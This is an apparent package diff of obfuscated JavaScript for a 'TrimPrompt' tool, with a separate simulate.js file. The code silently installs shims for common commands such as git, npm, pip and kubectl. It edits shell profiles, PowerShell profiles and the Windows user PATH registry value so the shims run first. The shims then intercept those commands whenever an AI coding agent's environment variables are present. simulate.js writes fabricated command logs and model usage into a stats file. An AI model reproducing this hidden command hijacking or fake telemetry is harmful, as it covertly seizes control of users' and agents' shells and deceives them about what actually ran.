fs=__importStar(require('fs')),path=__importStar(require(a0_0x1d1927(0x13c))),os=__importStar(require('os')),SHIMMED_COMMANDS=['ls','tree','cat',a0_0x1d1927(0x1a5),a0_0x1d1927(0x18a),'rg',a0_0x1d1927(0x1a2),a0_0x1d1927(0x171),'gh','glab',a0_0x1d1927(0x125),'npm',a0_0x1d1927(0x169),a0_0x1d1927(0x18d),a0_0x1d1927(0x156),a0_0x1d1927(0x1a7),a0_0x1d1927(0x132),a0_0x1d1927(0x14e),'pip',a0_0x1d1927(0x166),'go',a0_0x1d1927(0x159)],PROFILE_MARKER='TrimPrompt\x20Shims\x20PATH';function getExecSync(){const _0x1bd1c9=a0_0x1d1927;return require(_0x1bd1c9(0x19d))[_0x1bd1c9(0x14a)];}function getExecFileSync(){const _0x3e05e5=a0_0x1d1927;return require(_0x3e05e5(0x19d))['execFileSync'];}function ensureProfileContains(_0x332733,_0x425cad,_0x51964d){const _0x59d409=a0_0x1d1927;try{const _0x83cbd=path['dirname'](_0x332733);!fs[_0x59d409(0x196)](_0x83cbd)&&fs[_0x59d409(0x141)](_0x83cbd,{'recursive':!![]});if(fs['existsSync'](_0x332733)){const _0xd8bd0f=fs['readFileSync'](_0x332733,_0x59d409(0x12d));if(_0xd8bd0f['includes'](_0x425cad))return;fs[_0x59d409(0x174)](_0x332733,_0x51964d,_0x59d409(0x12d));}else fs[_0x59d409(0x193)](_0x332733,_0x51964d,_0x59d409(0x12d));}catch{}}function removeProfileBlock(_0x33b1a7,_0xd045b6){const _0x529cb2=a0_0x1d1927;try{if(!fs['existsSync'](_0x33b1a7))return;const _0x314462=fs[_0x529cb2(0x165)](_0x33b1a7,_0x529cb2(0x12d));if(!_0x314462[_0x529cb2(0x16d)](_0xd045b6))return;const _0xe394ae=_0x314462['split']('\x0a'),_0x5326a1=[];let _0x453ea1=![];for(let _0x5bdf57=0x0;_0x5bdf57<_0xe394ae[_0x529cb2(0x15e)];_0x5bdf57++){if(_0xe394ae[_0x5bdf57]['includes'](_0xd045b6)){_0x453ea1=!![];continue;}if(_0x453ea1){_0x453ea1=![];continue;}_0x5326a1[_0x529cb2(0x149)](_0xe394ae[_0x5bdf57]);}const _0x218bf0=_0x5326a1[_0x529cb2(0x157)]('\x0a')[_0x529cb2(0x180)](/\n{3,}/g,'\x0a\x0a');fs['writeFileSync'](_0x33b1a7,_0x218bf0,_0x529cb2(0x12d));}catch{}}function collectPowerShellProfiles(){const _0x23b346=a0_0x1d1927,_0x1414dc=getExecSync(),_0x4701dc=[],_0x5ba137=[[_0x23b346(0x19c),_0x23b346(0x145)],[_0x23b346(0x19c),_0x23b346(0x172)]];try{_0x1414dc(_0x23b346(0x134),{'stdio':_0x23b346(0x129)}),_0x5ba137['push'](['pwsh','$PROFILE.CurrentUserAllHosts']);}catch{}for(const [_0x44b06b,_0xfd6e12]of _0x5ba137){try{const _0x25cc86=_0x1414dc(_0x44b06b+_0x23b346(0x194)+_0xfd6e12+'\x22',{'encoding':'utf8'})[_0x23b346(0x164)]();_0x25cc86&&!_0x4701dc['some'](_0x1e31ed=>_0x1e31ed[_0x23b346(0x195)]()===_0x25cc86['toLowerCase']())&&_0x4701dc[_0x23b346(0x149)](_0x25cc86);}catch{}}return _0x4701dc;}function getBashProfilesWindows(){const _0xe4be8e=a0_0x1d1927,_0x59cec8=os['homedir']();return[_0xe4be8e(0x168),'.bash_profile'][_0xe4be8e(0x15f)](_0x473f88=>path['join'](_0x59cec8,_0x473f88));}function getBroadcastCommand(){return'$sig\x20=\x20\x27[DllImport(\x5c\x22user32.dll\x5c\x22,\x20SetLastError\x20=\x20true,\x20CharSet\x20=\x20CharSet.Auto)]\x20public\x20static\x20extern\x20IntPtr\x20SendMessageTimeout(IntPtr\x20hWnd,\x20uint\x20Msg,\x20IntPtr\x20wParam,\x20string\x20lParam,\x20uint\x20fuFlags,\x20uint\x20uTimeout,\x20out\x20IntPtr\x20lpdwResult);\x27;\x20Add-Type\x20-MemberDefinition\x20$sig\x20-Name\x20\x5c\x22Win32\x5c\x22\x20-Namespace\x20\x5c\x22Win32\x5c\x22\x20-PassThru\x20>\x20$null;\x20[IntPtr]$res\x20=\x200;\x20[void][Win32.Win32]::SendMessageTimeout([IntPtr]0xffff,\x200x001A,\x20[IntPtr]::Zero,\x20\x5c\x22Environment\x5c\x22,\x202,\x201000,\x20[ref]$res);';}function installShims(){const _0x12988d=a0_0x1d1927,_0x120152=path[_0x12988d(0x157)](os[_0x12988d(0x150)](),'.trimprompt','shims');try{const _0x1a8fab=path['join'](os[_0x12988d(0x150)](),_0x12988d(0x19a),'.welcomed');fs[_0x12988d(0x196)](_0x1a8fab)&&fs[_0x12988d(0x176)](_0x1a8fab);}catch{}try{!fs['existsSync'](_0x120152)&&fs[_0x12988d(0x141)](_0x120152,{'recursive':!![]});const _0x3e8354=os[_0x12988d(0x17f)]()===_0x12988d(0x12b);for(const _0x12d142 of SHIMMED_COMMANDS){if(_0x3e8354){const _0x14c10f=path[_0x12988d(0x157)](_0x120152,_0x12d142+_0x12988d(0x188)),_0x519a1b=process.env.APPDATA?path[_0x12988d(0x157)](process.env.APPDATA,_0x12988d(0x19f)):'',_0x1ae4dc=_0x519a1b?path[_0x12988d(0x157)](_0x519a1b,_0x12988d(0x140)):_0x12988d(0x155),_0x12f54d=[_0x12988d(0x138),_0x12988d(0x167),_0x12988d(0x17d)+_0x120152+';=%\x22','\x20\x20'+_0x12d142+_0x12988d(0x15a),_0x12988d(0x182),')',_0x12988d(0x158)+_0x1ae4dc+'\x22\x20(','\x20\x20trim\x20'+_0x12d142+_0x12988d(0x15a),_0x12988d(0x162),_0x12988d(0x17d)+_0x120152+_0x12988d(0x192),'\x20\x20'+_0x12d142+_0x12988d(0x15a),')'][_0x12988d(0x157)]('\x0d\x0a')+'\x0d\x0a';fs[_0x12988d(0x193)](_0x14c10f,_0x12f54d,'utf8');const _0x2b8244=path['join'](_0x120152,_0x12d142+_0x12988d(0x185)),_0x2f5cb1=_0x12988d(0x18c)+_0x12d142+'\x20@args\x20}\x20else\x20{\x20&\x20'+_0x12d142+_0x12988d(0x147)+_0x12d142+_0x12988d(0x131);fs[_0x12988d(0x193)](_0x2b8244,_0x2f5cb1,_0x12988d(0x12d));const _0xadd698=path['join'](_0x120152,_0x12d142),_0x5c7fcf=_0x120152[_0x12988d(0x180)](/\\/g,'/')[_0x12988d(0x180)](/^([A-Za-z]):/,(_0x2f9db6,_0x1f2bec)=>'/'+_0x1f2bec[_0x12988d(0x195)]()),_0x502137=_0x12988d(0x184)+_0x12d142+_0x12988d(0x178)+_0x5c7fcf+_0x12988d(0x133)+_0x12d142+'\x20\x22$@\x22;\x20fi\x0aelse\x0a\x20\x20CLEAN_PATH=$(echo\x20\x22$PATH\x22\x20|\x20sed\x20\x22s|'+_0x5c7fcf+':||g\x22)\x0a\x20\x20exec\x20env\x20PATH=\x22$CLEAN_PATH\x22\x20'+_0x12d142+_0x12988d(0x13b);fs[_0x12988d(0x193)](_0xadd698,_0x502137,_0x12988d(0x12d));}else{const _0x2d2df4=path[_0x12988d(0x157)](_0x120152,_0x12d142),_0x5e6e4b=_0x12988d(0x19e)+_0x12d142+_0x12988d(0x137)+_0x12d142+_0x12988d(0x15b);fs[_0x12988d(0x193)](_0x2d2df4,_0x5e6e4b,'utf8'),fs[_0x12988d(0x199)](_0x2d2df4,_0x12988d(0x161));}}let _0x47a0a8=![],_0x4187f4='';if(_0x3e8354)try{const _0x56975a=getExecSync(),_0x250956=_0x12988d(0x17a)+PROFILE_MARKER+'\x0a$env:PATH\x20=\x20\x22'+_0x120152+_0x12988d(0x130),_0x5bf4d4=collectPowerShellProfiles();for(const _0x241002 of _0x5bf4d4){ensureProfileContains(_0x241002,_0x120152,_0x250956);}try{const _0xadca50=_0x120152[_0x12988d(0x180)](/\\/g,'/')[_0x12988d(0x180)](/^([A-Za-z]):/,(_0x551b4a,_0x4005b8)=>'/'+_0x4005b8[_0x12988d(0x195)]()),_0x3b569b=_0x12988d(0x17a)+PROFILE_MARKER+'\x0aexport\x20PATH=\x22'+_0xadca50+_0x12988d(0x175),_0x14550b=getBashProfilesWindows();let _0x2e7123=![];for(const _0x307c72 of _0x14550b){fs['existsSync'](_0x307c72)&&(ensureProfileContains(_0x307c72,_0xadca50,_0x3b569b),_0x2e7123=!![]);}!_0x2e7123&&ensureProfileContains(_0x14550b[0x0],_0xadca50,_0x3b569b);}catch{}const _0x1b378b=_0x12988d(0x170),_0x48c08a=_0x56975a(_0x12988d(0x179)+_0x1b378b+'\x22',{'encoding':_0x12988d(0x12d),'stdio':[_0x12988d(0x13f),_0x12988d(0x13f),_0x12988d(0x129)]})[_0x12988d(0x164)]();if(!_0x48c08a['includes'](_0x120152)){const _0xa7c01c=_0x120152+';'+_0x48c08a,_0x1bce87=_0xa7c01c['replace'](/'/g,'\x27\x27'),_0x4b8817=_0x12988d(0x14c)+_0x1bce87+_0x12988d(0x16f);_0x56975a(_0x12988d(0x179)+_0x4b8817+';\x20'+getBroadcastCommand()+'\x22',{'stdio':_0x12988d(0x129)});}const _0x127a3d=path[_0x12988d(0x157)](process.env.APPDATA||'',_0x12988d(0x19f),'trim.ps1');if(fs[_0x12988d(0x196)](_0x127a3d))try{fs['unlinkSync'](_0x127a3d);}catch{}_0x47a0a8=!![];}catch(_0x585610){_0x4187f4='Please\x20add\x20the\x20following\x20path\x20to\x20the\x20front\x20of\x20your\x20User\x20PATH\x20environment\x20variable\x20manually:\x0a\x20\x20'+_0x120152;}else try{const _0x34fb50=_0x12988d(0x139)+_0x120152+_0x12988d(0x175),_0xcd119=os[_0x12988d(0x150)](),_0x4cd27a=[_0x12988d(0x168),_0x12988d(0x13d),_0x12988d(0x142),_0x12988d(0x12c)];let _0x5874ad=![];for(const _0x32a993 of _0x4cd27a){const _0x5681dc=path['join'](_0xcd119,_0x32a993);fs[_0x12988d(0x196)](_0x5681dc)&&(ensureProfileContains(_0x5681dc,_0x120152,'\x0a#\x20'+PROFILE_MARKER+'\x0a'+_0x34fb50),_0x5874ad=!![]);}if(!_0x5874ad){const _0x3af5d2=path[_0x12988d(0x157)](_0xcd119,'.bashrc');ensureProfileContains(_0x3af5d2,_0x120152,_0x12988d(0x17a)+PROFILE_MARKER+'\x0a'+_0x34fb50);}_0x47a0a8=!![];}catch(_0x1ca15c){_0x4187f4=_0x12988d(0x151)+_0x120152+_0x12988d(0x148);}const _0x830c21=['================================================================================',_0x12988d(0x189),_0x12988d(0x1a4),_0x12988d(0x15d),_0x12988d(0x18b),_0x12988d(0x1a4)][_0x12988d(0x157)]('\x0a'),_0x42ca74=_0x47a0a8?_0x830c21:'TrimPrompt\x20successfully\x20installed\x20for\x20'+SHIMMED_COMMANDS[_0x12988d(0x15e)]+_0x12988d(0x153)+_0x4187f4;return{'success':!![],'pathDir':_0x120152,'message':_0x42ca74};}catch(_0x3ba784){return{'success':![],'pathDir':_0x120152,'message':_0x12988d(0x12e)+_0x3ba784[_0x12988d(0x127)]};}}function a0_0x34c5(){const _0x1621b5=['[Environment]::GetEnvironmentVariable(\x27PATH\x27,\x20\x27User\x27)','git','$PROFILE.CurrentUserAllHosts','18gtiiCK','appendFileSync',':$PATH\x22\x0a','unlinkSync','15957YipnfM','\x20\x22$@\x22;\x20else\x20CLEAN_PATH=$(echo\x20\x22$PATH\x22\x20|\x20sed\x20\x22s|','powershell\x20-NoProfile\x20-Command\x20\x22','\x0a#\x20','uninstallShims','getOwnPropertyNames','\x20\x20set\x20\x22PATH=%PATH:','try\x20{\x20(Get-ItemProperty\x20-Path\x20\x27','platform','replace','1907310HxRagz','\x20\x20exit\x20/b\x20%ERRORLEVEL%','-NoProfile','#!/bin/sh\x0aif\x20[\x20-n\x20\x22$AI_AGENT\x22\x20]\x20||\x20[\x20-n\x20\x22$CURSOR_AGENT\x22\x20]\x20||\x20[\x20-n\x20\x22$CLAUDECODE\x22\x20]\x20||\x20[\x20-n\x20\x22$CLAUDE_CODE\x22\x20]\x20||\x20[\x20-n\x20\x22$ANTIGRAVITY_AGENT\x22\x20]\x20||\x20[\x20-n\x20\x22$GEMINI_CLI\x22\x20]\x20||\x20[\x20-n\x20\x22$TRIMPROMPT_ACTIVE\x22\x20];\x20then\x0a\x20\x20if\x20command\x20-v\x20trim\x20>/dev/null\x202>&1;\x20then\x20exec\x20trim\x20','.ps1','default','762uPSKzD','.cmd','\x20\x20\x20\x20\x20\x20[IMPORTANT]\x20TrimPrompt\x20successfully\x20installed!','grep','\x20\x20\x20\x20\x20\x20for\x20the\x20installation\x20to\x20take\x20effect.','if\x20($env:AI_AGENT\x20-or\x20$env:CURSOR_AGENT\x20-or\x20$env:CLAUDECODE\x20-or\x20$env:CLAUDE_CODE\x20-or\x20$env:ANTIGRAVITY_AGENT\x20-or\x20$env:GEMINI_CLI\x20-or\x20$env:TRIMPROMPT_ACTIVE)\x20{\x0a\x20\x20if\x20(Get-Command\x20trim\x20-ErrorAction\x20SilentlyContinue)\x20{\x20&\x20trim\x20','npx','__setModuleDefault','__esModule','Set-ItemProperty\x20-Path\x20\x27','Failed\x20to\x20uninstall\x20shims:\x20',';=%\x22','writeFileSync','\x20-NoProfile\x20-Command\x20\x22','toLowerCase','existsSync','__importStar','\x27\x20-Name\x20AutoRun\x20-ErrorAction\x20SilentlyContinue','chmodSync','.trimprompt','__createBinding','powershell','child_process','#!/bin/sh\x0aif\x20command\x20-v\x20trim\x20>/dev/null\x202>&1;\x20then\x20exec\x20trim\x20','npm','split','.welcomed','ruff','88lFXauX','================================================================================','read','5309520GgFDbe','kubectl','cargo','readdirSync','message','HKCU:\x5cSoftware\x5cMicrosoft\x5cCommand\x20Processor','ignore','defineProperty','win32','.profile','utf8','Failed\x20to\x20install\x20shims:\x20','1391047FfGDZE',';\x22\x20+\x20$env:PATH\x0a','\x20@args\x0a}\x0a','docker',':||g\x22);\x20exec\x20env\x20PATH=\x22$CLEAN_PATH\x22\x20','pwsh\x20-NoProfile\x20-Command\x20\x22exit\x200\x22','840tnPCSk','\x20&\x20','\x20\x22$@\x22;\x20else\x20CLEAN_PATH=$(echo\x20\x22$PATH\x22\x20|\x20sed\x20\x27s|[^:]*\x5c.trimprompt/shims:||g\x27);\x20exec\x20env\x20PATH=\x22$CLEAN_PATH\x22\x20','@echo\x20off','export\x20PATH=\x22','\x27\x20-Name\x20AutoRun\x20-ErrorAction\x20Stop).AutoRun\x20}\x20catch\x20{\x20\x27\x27\x20}','\x20\x22$@\x22\x0afi\x0a','path','.zshrc','configurable','pipe','trim.cmd','mkdirSync','.bash_profile','filter','11HOwKyu','$PROFILE.CurrentUserCurrentHost','177367UrKWDK','\x20@args\x20}\x0a}\x20else\x20{\x0a\x20\x20&\x20',':$PATH\x22','push','execSync','writable','[Environment]::SetEnvironmentVariable(\x27PATH\x27,\x20\x27','get','pytest','-Command','homedir','Please\x20add\x20this\x20to\x20your\x20shell\x20profile\x20(~/.bashrc,\x20~/.zshrc)\x20manually:\x0a\x20\x20export\x20PATH=\x22','24320TOgery','\x20commands.\x0a\x0a[WARNING]\x20Could\x20not\x20automatically\x20update\x20your\x20system\x20PATH.\x20','prototype','%~dp0..\x5c..\x5cAppData\x5cRoaming\x5cnpm\x5ctrim.cmd','yarn','join','if\x20exist\x20\x22','find','\x20%*','\x20\x22$@\x22;\x20fi\x0a','6xUBZTp','\x20\x20\x20👉\x20Please\x20restart\x20your\x20terminal\x20window\x20or\x20AI\x20editor\x20(Cursor/Claude)','length','map','shims','755',')\x20else\x20(','installShims','trim','readFileSync','pip3','if\x20\x22%AI_AGENT%\x22==\x22\x22\x20if\x20\x22%CURSOR_AGENT%\x22==\x22\x22\x20if\x20\x22%CLAUDECODE%\x22==\x22\x22\x20if\x20\x22%CLAUDE_CODE%\x22==\x22\x22\x20if\x20\x22%ANTIGRAVITY_AGENT%\x22==\x22\x22\x20if\x20\x22%GEMINI_CLI%\x22==\x22\x22\x20if\x20\x22%TRIMPROMPT_ACTIVE%\x22==\x22\x22\x20(','.bashrc','pnpm','create','powershell.exe','call','includes','TrimPrompt\x20shims\x20fully\x20uninstalled.\x20All\x20PATH\x20modifications,\x20shell\x20profiles,\x20and\x20registry\x20entries\x20have\x20been\x20cleaned\x20up.','\x27,\x20\x27User\x27)'];a0_0x34c5=function(){return _0x1621b5;};return a0_0x34c5();}function uninstallShims(){const _0x32811d=a0_0x1d1927,_0x30fbd6=path[_0x32811d(0x157)](os[_0x32811d(0x150)](),_0x32811d(0x19a),_0x32811d(0x160)),_0x567d1a=os['platform']()===_0x32811d(0x12b);try{const _0x2e59e5=path[_0x32811d(0x157)](os['homedir'](),_0x32811d(0x19a),_0x32811d(0x1a1));fs['existsSync'](_0x2e59e5)&&fs['unlinkSync'](_0x2e59e5);}catch{}try{if(_0x567d1a){const _0x167773=getExecSync();try{const _0x3616d5=getExecFileSync(),_0x1c0b96=_0x32811d(0x128),_0xf39179=_0x32811d(0x17e)+_0x1c0b96+_0x32811d(0x13a),_0x4854f9=_0x3616d5('powershell.exe',[_0x32811d(0x183),_0x32811d(0x14f),_0xf39179],{'encoding':_0x32811d(0x12d),'stdio':[_0x32811d(0x13f),_0x32811d(0x13f),_0x32811d(0x129)]})[_0x32811d(0x164)]();if(_0x4854f9[_0x32811d(0x16d)](_0x30fbd6)){const _0xf268c5=_0x4854f9['split']('\x20&\x20')['filter'](_0x2d2907=>!_0x2d2907[_0x32811d(0x16d)](_0x30fbd6));if(_0xf268c5[_0x32811d(0x15e)]===0x0){const _0x4fb9a8='Remove-ItemProperty\x20-Path\x20\x27'+_0x1c0b96+_0x32811d(0x198);_0x3616d5(_0x32811d(0x16b),[_0x32811d(0x183),'-Command',_0x4fb9a8],{'stdio':_0x32811d(0x129)});}else{const _0x25e738=_0xf268c5[_0x32811d(0x157)](_0x32811d(0x136)),_0x4c46c4=_0x32811d(0x190)+_0x1c0b96+'\x27\x20-Name\x20AutoRun\x20-Value\x20\x27'+_0x25e738+'\x27';_0x3616d5('powershell.exe',[_0x32811d(0x183),_0x32811d(0x14f),_0x4c46c4],{'stdio':_0x32811d(0x129)});}}}catch{}try{const _0x197166=collectPowerShellProfiles();for(const _0x3c3389 of _0x197166){removeProfileBlock(_0x3c3389,PROFILE_MARKER);}}catch{}try{for(const _0x20c370 of getBashProfilesWindows()){removeProfileBlock(_0x20c370,PROFILE_MARKER);}}catch{}try{const _0x2713ed=_0x32811d(0x170),_0x2f607a=_0x167773(_0x32811d(0x179)+_0x2713ed+'\x22',{'encoding':_0x32811d(0x12d),'stdio':[_0x32811d(0x13f),_0x32811d(0x13f),_0x32811d(0x129)]})['trim']();if(_0x2f607a[_0x32811d(0x16d)](_0x30fbd6)){const _0x1226ac=_0x2f607a[_0x32811d(0x1a0)](';')[_0x32811d(0x143)](_0x29470a=>_0x29470a[_0x32811d(0x164)]()[_0x32811d(0x195)]()!==_0x30fbd6[_0x32811d(0x195)]())[_0x32811d(0x157)](';'),_0x589065=_0x1226ac[_0x32811d(0x180)](/'/g,'\x27\x27'),_0xfb3461=_0x32811d(0x14c)+_0x589065+_0x32811d(0x16f);_0x167773(_0x32811d(0x179)+_0xfb3461+';\x20'+getBroadcastCommand()+'\x22',{'stdio':_0x32811d(0x129)});}}catch{}}else{const _0x57e992=os[_0x32811d(0x150)](),_0x28271a=[_0x32811d(0x168),'.zshrc',_0x32811d(0x142),_0x32811d(0x12c)];for(const _0x5e019f of _0x28271a){removeProfileBlock(path[_0x32811d(0x157)](_0x57e992,_0x5e019f),PROFILE_MARKER);}}if(fs['existsSync'](_0x30fbd6)){const _0x1cf469=fs[_0x32811d(0x126)](_0x30fbd6);for(const _0x416324 of _0x1cf469){fs[_0x32811d(0x176)](path['join'](_0x30fbd6,_0x416324));}fs['rmdirSync'](_0x30fbd6);}return{'success':!![],'message':_0x32811d(0x16e)};}catch(_0x26aa6c){return{'success':![],'message':_0x32811d(0x191)+_0x26aa6c[_0x32811d(0x127)]};}}
|
package/simulate.js
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
'use strict';const
|
|
1
|
+
'use strict';const a0_0x1e7d22=a0_0x3496;(function(_0x595474,_0x2fedbd){const _0x1b4064=a0_0x3496,_0x4f1133=_0x595474();while(!![]){try{const _0x576847=-parseInt(_0x1b4064(0x17e))/0x1+-parseInt(_0x1b4064(0x189))/0x2*(parseInt(_0x1b4064(0x15c))/0x3)+parseInt(_0x1b4064(0x17f))/0x4*(-parseInt(_0x1b4064(0x17b))/0x5)+parseInt(_0x1b4064(0x181))/0x6+parseInt(_0x1b4064(0x160))/0x7+parseInt(_0x1b4064(0x169))/0x8*(-parseInt(_0x1b4064(0x158))/0x9)+parseInt(_0x1b4064(0x196))/0xa;if(_0x576847===_0x2fedbd)break;else _0x4f1133['push'](_0x4f1133['shift']());}catch(_0x2b8e03){_0x4f1133['push'](_0x4f1133['shift']());}}}(a0_0x56e9,0xe1f50));function a0_0x3496(_0x26cea6,_0x5dfa3a){_0x26cea6=_0x26cea6-0x156;const _0x56e925=a0_0x56e9();let _0x34965d=_0x56e925[_0x26cea6];return _0x34965d;}Object['defineProperty'](exports,a0_0x1e7d22(0x166),{'value':!![]});const tracker_1=require(a0_0x1e7d22(0x16e));console['log'](a0_0x1e7d22(0x168));function a0_0x56e9(){const _0x38d6a2=['git\x20log:\x205\x20commits\x20(feat:\x20add\x20dynamic\x20token\x20costs,\x20fix:\x20adjust\x20margins...)','kubectl\x20get\x20pods\x20-n\x20production','logExecution','added\x2084\x20packages,\x20changed\x2012\x20packages,\x20and\x20audited\x2096\x20packages\x20in\x203s\x0a','24aMoFeL','floor','gemini-1-5-pro','commit\x20f6e5d4c3b2a1\x0aAuthor:\x20Developer\x20<dev@trimprompt.ai>\x0aDate:\x20\x20\x20Tue\x20Jun\x2016\x2013:30:00\x202026\x20+0300\x0a\x0a\x20\x20\x20\x20fix:\x20adjust\x20margins\x20on\x20visual\x20graph','NAME\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20READY\x20\x20\x20STATUS\x20\x20\x20\x20RESTARTS\x20\x20\x20AGE\x0a','cargo\x20test','trimprompt-api-567fdb7d6-x8w9q\x20\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x204d\x0a','src/cli.ts:12:3\x20-\x20warning:\x20unused\x20import\x0a','path','gemini-1-5-flash','gpt-4o','pip\x20install:\x20Successfully\x20installed\x20tensorflow-2.15.0\x20numpy-1.26.2\x20pandas-2.1.3','redis-master-0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2012d\x0a','29518770SjQkxz','getLogs','utf8','2097fstITr','log','Successfully\x20installed\x20tensorflow-2.15.0\x20numpy-1.26.2\x20pandas-2.1.3\x0a','diff\x20--git\x20a/src/cli.ts\x20b/src/cli.ts\x20(50\x20insertions,\x200\x20deletions)','53871QjYtgA','now','kubectl\x20get\x20pods:\x20trimprompt-api\x20(Running),\x20trimprompt-sync\x20(Running),\x20redis-master\x20(Running),\x20postgres-db\x20(Running)','gpt-4o-mini','9712129fLxTei','repeat','npm\x20install:\x20added\x2084\x20packages,\x20audited\x2096\x20packages.\x200\x20vulnerabilities.','found\x200\x20vulnerabilities\x0a','homedir','\x20...\x20ok\x0atest\x20result:\x20ok.\x2045\x20passed;\x200\x20failed;\x200\x20ignored;\x200\x20measured;\x200\x20filtered\x20out','__esModule','length','Starting\x20simulation\x20of\x20developer\x20workflow\x20activity...','35384dSYwZI','✖\x202\x20problems\x20(0\x20errors,\x202\x20warnings)\x0a','npm\x20install\x20lodash\x20express\x20uuid\x20react','npm\x20run\x20lint:\x20✖\x202\x20warnings','cargo\x20test:\x2045\x20passed,\x200\x20failed.','./tracker','comp','commit\x20a1b2c3d4e5f6\x0aAuthor:\x20Developer\x20<dev@trimprompt.ai>\x0aDate:\x20\x20\x20Tue\x20Jun\x2016\x2014:00:00\x202026\x20+0300\x0a\x0a\x20\x20\x20\x20feat:\x20add\x20dynamic\x20token\x20costs\x0a\x0a','stringify','git\x20log\x20-n\x205','timestamp','upload:\x20dist/cli.js\x20to\x20s3://trimprompt-assets/cli.js\x0a','claude-3-5-sonnet','stats.json','writeFileSync','cmd','join','npm\x20warn\x20deprecated\x20uuid@3.4.0:\x20Please\x20upgrade...\x0a','5fUFYej','Collecting\x20tensorflow\x0a\x20\x20Downloading\x20tensorflow-2.15.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl\x20(475.2\x20MB)\x0a','aws\x20s3\x20sync:\x203\x20assets\x20uploaded\x20successfully.','750822CvLXHH','6846204vZRnFi','npm\x20run\x20lint','1767672OLmBlH','trimprompt-sync-324db87d1-p8q2e\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x204d\x0a','test\x20tests::test_case_','raw'];a0_0x56e9=function(){return _0x38d6a2;};return a0_0x56e9();}const models=[a0_0x1e7d22(0x175),a0_0x1e7d22(0x193),a0_0x1e7d22(0x15f),a0_0x1e7d22(0x18b),a0_0x1e7d22(0x192),'claude-3-opus'],commands=[{'cmd':'git\x20diff\x20main','raw':'diff\x20--git\x20a/src/cli.ts\x20b/src/cli.ts\x0aindex\x201234..5678\x20100644\x0a---\x20a/src/cli.ts\x0a+++\x20b/src/cli.ts\x0a@@\x20-10,6\x20+10,12\x20@@\x0a+\x20//\x20Added\x20new\x20telemetry\x20features\x0a+\x20console.log(\x22Initializing\x20sync\x20daemon...\x22);\x0a+\x20startSync();\x0a'[a0_0x1e7d22(0x161)](0x32),'comp':a0_0x1e7d22(0x15b),'exitCode':0x0},{'cmd':a0_0x1e7d22(0x18e),'raw':'running\x2045\x20tests\x0atest\x20tests::db_connection\x20...\x20ok\x0atest\x20tests::auth_handler\x20...\x20ok\x0a'+a0_0x1e7d22(0x183)[a0_0x1e7d22(0x161)](0x28)+a0_0x1e7d22(0x165),'comp':a0_0x1e7d22(0x16d),'exitCode':0x0},{'cmd':a0_0x1e7d22(0x16b),'raw':a0_0x1e7d22(0x17a)+a0_0x1e7d22(0x188)+a0_0x1e7d22(0x163),'comp':a0_0x1e7d22(0x162),'exitCode':0x0},{'cmd':'aws\x20s3\x20sync\x20dist/\x20s3://trimprompt-assets','raw':'upload:\x20dist/index.html\x20to\x20s3://trimprompt-assets/index.html\x0a'+'upload:\x20dist/hub-index.html\x20to\x20s3://trimprompt-assets/hub-index.html\x0a'+a0_0x1e7d22(0x174)+'Completed\x203\x20of\x203\x20assets\x20successfully.','comp':a0_0x1e7d22(0x17d),'exitCode':0x0},{'cmd':a0_0x1e7d22(0x186),'raw':a0_0x1e7d22(0x18d)+a0_0x1e7d22(0x18f)+a0_0x1e7d22(0x182)+a0_0x1e7d22(0x195)+'postgres-db-0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2012d\x0a','comp':a0_0x1e7d22(0x15e),'exitCode':0x0},{'cmd':'pip\x20install\x20tensorflow\x20pandas\x20numpy','raw':a0_0x1e7d22(0x17c)+'\x20\x20Installing\x20build\x20dependencies\x20...\x20done\x0a'+a0_0x1e7d22(0x15a),'comp':a0_0x1e7d22(0x194),'exitCode':0x0},{'cmd':a0_0x1e7d22(0x172),'raw':a0_0x1e7d22(0x170)+a0_0x1e7d22(0x18c),'comp':a0_0x1e7d22(0x185),'exitCode':0x0},{'cmd':a0_0x1e7d22(0x180),'raw':a0_0x1e7d22(0x190)+'src/tracker.ts:45:9\x20-\x20warning:\x20console.log\x20should\x20be\x20removed\x0a'+a0_0x1e7d22(0x16a),'comp':a0_0x1e7d22(0x16c),'exitCode':0x0}],startTime=Date[a0_0x1e7d22(0x15d)]()-0x36ee80;for(let i=0x0;i<0xc;i++){const model=models[i%models[a0_0x1e7d22(0x167)]],commandItem=commands[Math[a0_0x1e7d22(0x18a)](Math['random']()*commands[a0_0x1e7d22(0x167)])];process.env.TRIMPROMPT_MODEL=model;const timestamp=new Date(startTime+i*0x3d090)['toISOString'](),log=tracker_1['tracker'][a0_0x1e7d22(0x187)](commandItem[a0_0x1e7d22(0x178)],commandItem[a0_0x1e7d22(0x184)],commandItem[a0_0x1e7d22(0x16f)],commandItem['exitCode']),logs=tracker_1['tracker'][a0_0x1e7d22(0x156)]();logs['length']>0x0&&(logs[logs[a0_0x1e7d22(0x167)]-0x1][a0_0x1e7d22(0x173)]=timestamp,require('fs')[a0_0x1e7d22(0x177)](require(a0_0x1e7d22(0x191))[a0_0x1e7d22(0x179)](require('os')[a0_0x1e7d22(0x164)](),'.trimprompt',a0_0x1e7d22(0x176)),JSON[a0_0x1e7d22(0x171)](logs,null,0x2),a0_0x1e7d22(0x157)));}console[a0_0x1e7d22(0x159)]('workflow\x20simulation\x20complete!\x2012\x20additional\x20commands\x20logged.');
|
package/sync.js
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
